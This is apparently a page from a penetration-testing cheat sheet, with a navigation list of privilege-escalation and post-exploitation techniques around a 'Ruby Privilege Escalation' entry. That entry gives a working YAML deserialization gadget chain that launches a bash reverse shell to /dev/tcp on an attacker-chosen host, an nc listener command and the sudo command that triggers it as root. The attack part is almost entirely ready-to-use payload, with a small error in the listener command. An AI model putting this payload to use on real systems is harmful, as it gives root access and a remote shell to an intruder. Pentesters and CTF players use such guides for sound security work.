Privilege Escalation

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Apache Conf Privilege Escalation

Bash eq Privilege Escalation

Buffer Overflow Privilege Escalation

Chrome Remote Debugger Pentesting

Doas Privilege Escalation

Ghidra Debug Mode RCE

Gnuplot Privilege Escalation

LXC/LXD (Linux Container/Daemon) Privilege Escalation

Linux Privilege Escalation

Mozilla Pentesting

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Pip Download Code Execution

PolKit Privilege Escalation

Python Eval Code Execution

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Python Privilege Escalation

Python Yaml Privilege Escalation

Ruby Privilege Escalation

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SSSD Privilege Escalation

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Sudo Git Privilege Escalation

Sudo Java Privilege Escalation

Sudo OpenVPN Privilege Escalation

Sudo Path Traversal Privilege Escalation

Sudo Privilege Escalation

Sudo Privilege Escalation by Overriding Shared Library

Sudo Reboot Privilege Escalation

Sudo Screen Privilege Escalation

Sudo Service Privilege Escalation

Sudo Shutdown, Poweroff Privilege Escalation

Sudo Systemctl Privilege Escalation

Sudo Tee Privilege Escalation

Sudo Umount Privilege Escalation

Sudo Vim Privilege Escalation

Sudo Wall Privilege Escalation

Sudo Wget Privilege Escalation

Sudoedit Privilege Escalation

Tar Wildcard Injection PrivEsc

Update-Motd Privilege Escalation

irb (Interactive Ruby Shell) Privilege Escalation

Post Exploitation

Cover Your Tracks in Linux

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Shell Scripting

Ruby Privilege Escalation

Last modified: 2023-03-28

Privilege Escalation Reverse Shell

Ruby is an interpreted, high-level, general-purpose programming language.

Remote Code Execution with YAML

Check if the current user could run the ruby script as root privilege.

(root) NOPASSWD: /usr/bin/ruby sample.rb

If the sample.rb contains the “File.read(’sample.yml’)”, modify the YAML file as follow:

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: "bash -c 'bash -i >& /dev/tcp/<local-ip>/<local-port> 0>&1'"
         method_id: :resolve

Then start listener in local machine.

nc -lvnp <local-ip>

Now run the sudo command.

sudo /usr/bin/ruby sample.rb

Privilege Escalation

Post Exploitation

Backup

Container

Archive

Attack

Protocol

Management

Ruby Privilege Escalation

Remote Code Execution with YAML

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